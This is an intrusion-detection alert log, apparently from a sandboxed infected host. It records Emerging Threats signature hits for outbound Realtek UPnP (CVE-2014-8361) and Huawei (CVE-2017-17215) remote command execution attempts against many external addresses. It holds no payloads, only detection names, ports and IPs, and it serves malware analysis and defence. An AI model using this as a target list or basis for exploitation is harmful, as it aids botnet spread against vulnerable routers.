07/20/24-23:01:08.565561	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34016	52869	192.168.2.23	193.135.58.157
07/20/24-23:01:44.776719	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52656	52869	192.168.2.23	58.56.54.197
07/20/24-23:01:42.751499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38742	52869	192.168.2.23	110.76.42.187
07/20/24-23:01:04.094795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60280	37215	192.168.2.23	197.178.38.115
07/20/24-23:01:08.864629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40650	52869	192.168.2.23	199.214.91.137
07/20/24-23:01:27.658221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58944	37215	192.168.2.23	41.116.229.3
07/20/24-23:01:48.970191	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49902	52869	192.168.2.23	48.202.169.141
07/20/24-23:01:50.845923	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44268	52869	192.168.2.23	128.114.73.170
07/20/24-23:01:24.862410	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51818	37215	192.168.2.23	197.233.164.3
07/20/24-23:01:50.949008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59820	52869	192.168.2.23	216.9.135.122
07/20/24-23:01:11.631728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49720	37215	192.168.2.23	157.128.103.156
07/20/24-23:01:41.919931	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53412	52869	192.168.2.23	193.229.91.171
07/20/24-23:01:48.394890	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60250	52869	192.168.2.23	13.193.24.191
07/20/24-23:01:58.751560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43748	52869	192.168.2.23	210.49.56.86
07/20/24-23:01:40.321964	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46110	37215	192.168.2.23	157.164.14.81
07/20/24-23:01:31.978141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57454	37215	192.168.2.23	41.151.67.249
07/20/24-23:01:40.290002	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34556	37215	192.168.2.23	197.71.206.186
07/20/24-23:01:48.547161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36362	52869	192.168.2.23	90.150.161.105
07/20/24-23:00:57.222279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60150	37215	192.168.2.23	157.12.120.37
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54390	37215	192.168.2.23	41.141.66.103
07/20/24-23:01:56.579360	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50838	52869	192.168.2.23	63.43.122.73
07/20/24-23:01:24.883171	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33146	37215	192.168.2.23	108.136.107.241
07/20/24-23:01:10.539170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53906	52869	192.168.2.23	167.63.84.166
07/20/24-23:01:45.775798	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32852	52869	192.168.2.23	34.116.171.252
07/20/24-23:01:55.481754	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57092	52869	192.168.2.23	163.119.42.207
07/20/24-23:01:07.005156	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41344	37215	192.168.2.23	177.72.160.248
07/20/24-23:00:57.220937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42510	37215	192.168.2.23	173.155.49.17
07/20/24-23:02:11.592030	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45658	52869	192.168.2.23	68.53.164.7
07/20/24-23:01:04.082385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57988	37215	192.168.2.23	197.33.104.96
07/20/24-23:01:08.615260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36786	52869	192.168.2.23	201.250.207.152
07/20/24-23:01:43.227281	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47622	52869	192.168.2.23	27.86.156.82
07/20/24-23:01:44.302920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33286	52869	192.168.2.23	148.6.1.136
07/20/24-23:02:02.772130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59538	52869	192.168.2.23	189.55.165.96
07/20/24-23:01:45.053180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42650	52869	192.168.2.23	101.184.157.141
07/20/24-23:01:01.143446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52638	52869	192.168.2.23	164.189.55.135
07/20/24-23:01:03.153933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34664	52869	192.168.2.23	146.210.17.240
07/20/24-23:01:00.637175	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56940	37215	192.168.2.23	41.144.198.102
07/20/24-23:01:42.643745	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53628	52869	192.168.2.23	101.9.169.24
07/20/24-23:01:44.099799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39852	52869	192.168.2.23	139.85.109.63
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50482	37215	192.168.2.23	197.124.62.106
07/20/24-23:01:08.646615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52406	52869	192.168.2.23	218.228.206.146
07/20/24-23:02:14.945129	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49536	52869	192.168.2.23	63.25.37.64
07/20/24-23:01:47.943232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39244	52869	192.168.2.23	138.199.35.177
07/20/24-23:01:08.562013	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44914	52869	192.168.2.23	155.42.58.223
07/20/24-23:01:02.965900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44986	52869	192.168.2.23	84.150.128.0
07/20/24-23:02:09.263272	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39888	52869	192.168.2.23	149.74.6.111
07/20/24-23:01:04.244899	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45032	37215	192.168.2.23	140.185.125.173
07/20/24-23:01:47.858878	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58408	52869	192.168.2.23	9.44.236.192
07/20/24-23:01:01.782123	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47614	52869	192.168.2.23	60.63.234.192
07/20/24-23:01:43.951862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55238	52869	192.168.2.23	210.201.123.76
07/20/24-23:01:04.049279	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58100	37215	192.168.2.23	114.96.82.28
07/20/24-23:00:57.221367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52450	37215	192.168.2.23	41.214.240.131
07/20/24-23:01:47.931222	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52006	52869	192.168.2.23	48.216.224.125
07/20/24-23:01:41.165469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48418	52869	192.168.2.23	73.113.35.189
07/20/24-23:02:04.577562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53524	52869	192.168.2.23	43.96.28.181
07/20/24-23:01:20.593640	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44004	52869	192.168.2.23	53.137.194.88
07/20/24-23:01:44.452219	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50638	52869	192.168.2.23	153.197.27.100
07/20/24-23:01:46.444817	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54596	52869	192.168.2.23	129.173.206.4
07/20/24-23:01:41.456455	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38254	52869	192.168.2.23	208.138.181.205
07/20/24-23:01:48.308623	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58142	52869	192.168.2.23	1.111.156.136
07/20/24-23:01:47.858878	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55910	52869	192.168.2.23	179.57.28.204
07/20/24-23:01:58.892811	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35576	52869	192.168.2.23	96.23.98.70
07/20/24-23:01:42.454682	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36628	52869	192.168.2.23	57.234.190.125
07/20/24-23:01:55.428221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55678	52869	192.168.2.23	76.116.108.138
07/20/24-23:01:20.175900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33096	37215	192.168.2.23	197.118.77.21
07/20/24-23:01:27.650871	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52136	37215	192.168.2.23	197.178.175.16
07/20/24-23:01:52.019772	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59776	52869	192.168.2.23	221.117.11.208
07/20/24-23:00:57.221223	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44052	37215	192.168.2.23	197.23.80.245
07/20/24-23:01:20.591862	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58720	52869	192.168.2.23	5.142.247.218
07/20/24-23:03:46.099099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47524	52869	192.168.2.23	159.83.233.195
07/20/24-23:01:46.604394	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56780	52869	192.168.2.23	156.160.38.108
07/20/24-23:01:24.475794	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48188	52869	192.168.2.23	162.229.91.161
07/20/24-23:01:45.037292	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57826	52869	192.168.2.23	83.201.129.18
07/20/24-23:01:20.124695	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42546	37215	192.168.2.23	46.121.151.152
07/20/24-23:01:10.863362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36226	52869	192.168.2.23	106.229.130.40
07/20/24-23:01:44.550538	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49074	52869	192.168.2.23	167.144.253.27
07/20/24-23:01:27.654172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36154	37215	192.168.2.23	41.20.72.212
07/20/24-23:01:50.107973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49530	52869	192.168.2.23	134.79.117.152
07/20/24-23:01:47.304504	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43656	52869	192.168.2.23	69.202.155.168
07/20/24-23:01:31.328855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47958	52869	192.168.2.23	62.157.173.255
07/20/24-23:01:26.210078	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36794	52869	192.168.2.23	174.98.46.120
07/20/24-23:01:43.066571	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38936	52869	192.168.2.23	207.203.170.191
07/20/24-23:01:31.320679	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47936	52869	192.168.2.23	158.118.231.218
07/20/24-23:01:44.446628	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48604	52869	192.168.2.23	130.167.196.86
07/20/24-23:00:59.191389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55620	37215	192.168.2.23	157.113.182.239
07/20/24-23:01:44.389834	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56604	52869	192.168.2.23	111.229.109.170
07/20/24-23:01:42.672378	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44018	52869	192.168.2.23	91.196.45.114
07/20/24-23:01:31.983105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32934	37215	192.168.2.23	41.17.248.200
07/20/24-23:01:42.276859	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52278	52869	192.168.2.23	193.38.103.224
07/20/24-23:01:07.082045	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36518	37215	192.168.2.23	41.73.95.140
07/20/24-23:01:14.097795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43512	37215	192.168.2.23	12.22.103.21
07/20/24-23:01:26.110241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35770	52869	192.168.2.23	212.202.137.63
07/20/24-23:01:45.298540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58416	52869	192.168.2.23	104.39.87.115
07/20/24-23:01:01.875100	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40704	52869	192.168.2.23	87.1.160.57
07/20/24-23:01:47.032369	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56572	52869	192.168.2.23	31.139.123.246
07/20/24-23:01:44.878540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42798	52869	192.168.2.23	184.50.158.70
07/20/24-23:01:47.569820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59610	52869	192.168.2.23	118.111.39.192
07/20/24-23:01:53.459445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56400	52869	192.168.2.23	46.179.46.173
07/20/24-23:01:42.509003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43184	52869	192.168.2.23	113.209.32.105
07/20/24-23:00:57.221557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43680	37215	192.168.2.23	157.254.68.190
07/20/24-23:01:06.989167	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40944	37215	192.168.2.23	197.87.44.29
07/20/24-23:01:40.291616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49758	37215	192.168.2.23	89.37.35.33
07/20/24-23:01:42.653653	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40142	52869	192.168.2.23	58.31.233.114
07/20/24-23:01:46.092258	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55428	52869	192.168.2.23	45.99.89.219
07/20/24-23:01:57.297792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36240	52869	192.168.2.23	36.5.79.111
07/20/24-23:01:51.500991	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49978	52869	192.168.2.23	204.255.198.47
07/20/24-23:01:45.144955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57898	52869	192.168.2.23	154.117.210.216
07/20/24-23:01:26.000956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39884	52869	192.168.2.23	201.230.67.6
07/20/24-23:02:06.083203	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51036	52869	192.168.2.23	31.110.77.22
07/20/24-23:01:42.280419	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40114	52869	192.168.2.23	192.160.62.15
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57218	37215	192.168.2.23	197.71.69.91
07/20/24-23:01:02.374539	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54890	52869	192.168.2.23	25.0.169.170
07/20/24-23:01:24.603339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56536	52869	192.168.2.23	76.83.139.165
07/20/24-23:01:31.320679	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50886	52869	192.168.2.23	156.32.87.120
07/20/24-23:01:52.678633	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37760	52869	192.168.2.23	17.76.42.20
07/20/24-23:01:42.953491	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35740	52869	192.168.2.23	57.248.72.169
07/20/24-23:01:58.885082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42284	52869	192.168.2.23	176.234.87.122
07/20/24-23:01:50.212921	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43722	52869	192.168.2.23	18.71.115.72
07/20/24-23:01:41.947663	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45862	52869	192.168.2.23	145.93.255.182
07/20/24-23:01:48.649139	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54854	52869	192.168.2.23	155.90.77.175
07/20/24-23:01:42.608320	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53230	52869	192.168.2.23	153.109.210.254
07/20/24-23:01:42.745651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36060	52869	192.168.2.23	47.244.160.188
07/20/24-23:01:51.288562	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38702	52869	192.168.2.23	209.27.18.74
07/20/24-23:01:03.482119	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35784	52869	192.168.2.23	103.18.195.93
07/20/24-23:02:43.182629	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45054	52869	192.168.2.23	124.204.221.162
07/20/24-23:01:57.269160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53070	52869	192.168.2.23	138.120.228.47
07/20/24-23:01:08.572196	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50430	52869	192.168.2.23	54.250.134.170
07/20/24-23:01:43.164529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60322	52869	192.168.2.23	192.101.61.62
07/20/24-23:01:41.182584	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52454	52869	192.168.2.23	155.251.124.204
07/20/24-23:01:43.197088	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41930	52869	192.168.2.23	77.119.24.21
07/20/24-23:01:53.308763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53860	52869	192.168.2.23	81.50.220.234
07/20/24-23:01:11.636599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56778	37215	192.168.2.23	157.169.172.215
07/20/24-23:01:04.082385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48818	37215	192.168.2.23	197.246.208.103
07/20/24-23:01:40.285038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46210	37215	192.168.2.23	197.29.110.76
07/20/24-23:01:45.294002	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37170	52869	192.168.2.23	190.13.238.183
07/20/24-23:01:31.979565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45832	37215	192.168.2.23	157.183.175.156
07/20/24-23:01:42.460493	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41624	52869	192.168.2.23	75.212.169.191
07/20/24-23:01:11.639230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45886	37215	192.168.2.23	4.154.54.81
07/20/24-23:01:46.323644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53882	52869	192.168.2.23	35.100.148.20
07/20/24-23:01:44.749294	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56020	52869	192.168.2.23	180.183.76.230
07/20/24-23:01:04.751333	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49320	52869	192.168.2.23	154.97.74.140
07/20/24-23:01:31.313382	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39784	52869	192.168.2.23	39.181.226.152
07/20/24-23:01:44.921789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53216	52869	192.168.2.23	34.198.8.37
07/20/24-23:01:04.985241	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44076	52869	192.168.2.23	27.181.35.71
07/20/24-23:01:27.749737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34842	37215	192.168.2.23	166.117.175.116
07/20/24-23:01:08.619598	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36368	52869	192.168.2.23	65.114.239.111
07/20/24-23:01:31.976795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46866	37215	192.168.2.23	197.154.129.141
07/20/24-23:01:08.594120	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39454	52869	192.168.2.23	117.27.97.229
07/20/24-23:01:40.334934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44412	37215	192.168.2.23	197.100.4.197
07/20/24-23:01:06.988055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46780	37215	192.168.2.23	197.125.71.143
07/20/24-23:01:42.769238	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37584	52869	192.168.2.23	177.147.32.222
07/20/24-23:01:43.810783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49636	52869	192.168.2.23	192.175.188.159
07/20/24-23:01:11.633481	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53114	37215	192.168.2.23	197.132.172.129
07/20/24-23:01:55.296002	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41596	52869	192.168.2.23	194.210.88.179
07/20/24-23:01:20.152427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54164	37215	192.168.2.23	197.173.190.17
07/20/24-23:01:46.158533	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54662	52869	192.168.2.23	81.48.180.48
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55502	37215	192.168.2.23	41.241.151.239
07/20/24-23:01:08.630327	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55212	52869	192.168.2.23	86.74.227.91
07/20/24-23:01:25.468217	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54598	52869	192.168.2.23	35.92.216.124
07/20/24-23:01:59.234149	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44354	52869	192.168.2.23	96.1.75.175
07/20/24-23:01:14.097795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40992	37215	192.168.2.23	41.182.86.76
07/20/24-23:01:01.371551	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43256	52869	192.168.2.23	206.208.92.27
07/20/24-23:01:44.527952	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46940	52869	192.168.2.23	163.49.61.251
07/20/24-23:01:42.452119	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41008	52869	192.168.2.23	130.186.238.85
07/20/24-23:01:49.660516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34708	52869	192.168.2.23	203.130.71.37
07/20/24-23:01:44.368405	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51762	52869	192.168.2.23	197.9.101.249
07/20/24-23:01:47.990801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40110	52869	192.168.2.23	129.221.8.145
07/20/24-23:01:31.311969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46830	52869	192.168.2.23	211.69.194.148
